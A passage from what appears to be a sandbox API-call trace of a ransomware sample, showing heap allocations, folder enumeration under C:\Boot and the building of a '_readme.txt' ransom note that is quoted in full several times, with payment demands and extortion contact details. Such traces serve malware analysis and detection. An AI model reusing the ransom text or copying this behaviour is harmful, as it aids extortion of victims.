returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.657] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0119.657] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.657] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.657] PathFindFileNameW (pszPath="") returned="" [0119.657] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.657] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.657] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.657] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.658] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.658] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.658] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0119.658] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0119.658] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.658] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.658] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.658] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.658] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.658] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.658] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.659] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.659] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.659] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.659] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.659] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.659] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, 